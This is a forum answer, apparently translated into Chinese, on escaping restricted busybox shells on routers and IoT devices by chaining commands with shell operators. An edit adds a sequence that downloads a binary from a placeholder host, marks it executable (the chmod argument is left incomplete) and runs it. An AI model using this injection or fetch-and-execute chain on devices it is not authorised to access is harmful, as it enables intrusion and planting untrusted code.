对您来说不幸的是,如今大多数嵌入式设备(即路由器、物联网设备等)都试图阻止用户访问内部系统,以便他们无法破解或修改它。这是一种防止像 mirai 这样的僵尸网络工作的措施,尽管保护措施并不总是非常有效。
有限的busybox shell 是一个非常常见的场景。幸运的是,一般来说,如果有任何类型的用户界面(如 telnet 或 ssh),busybox 需要一个底层 shell。这意味着有可能绕过该 shell 并在底层 shell 上运行命令(即 /bin/sh 非常常见)。
在尝试逃离busybox沙箱之前,您必须考虑以下事项:
- 制造商可能已经修改了 busybox shell 来修补这种技术
- 底层外壳可以是(完整或部分)非特权外壳。这意味着即使您设法在其上运行命令,它们也可能不起作用或告诉您您没有足够的权限。
- 底层外壳也可能是另一个有限外壳(不常见)
一旦你准备好了,你可以尝试以下“技巧”:(所有的依赖shell操作符)
尝试类似的事情
echo "Hello World" & <your command>
如果出现以下情况,这将执行您的命令:
- 二进制文件可用(所以基本上如果它安装在系统中)
- shell 可以访问它(特权)
还有其他方法,例如:
echo "Hello World" `your command`
echo "Hello World" || <your command>
以及您可以在互联网上找到或自己尝试的其他变体。
编辑:我正在编辑以添加一个示例,说明如何转义 shell 并获得进一步执行。
echo "Hello World" & wget yourweb.com/yourbinary
echo "Hello World" & chmod yourbinary
echo "Hello World" & ./yourbinary
或直接 ./yourbinary
这就是想法。至于 chmod 抱歉,我不记得给予执行权限的确切参数。
EDIT2:我注意到你的 shell 显示 ash,所以可能 busybox 是从一个从 ash 运行的(自动)脚本中执行的。在这种情况下,您希望直接在 /bin/ash shell 上运行命令。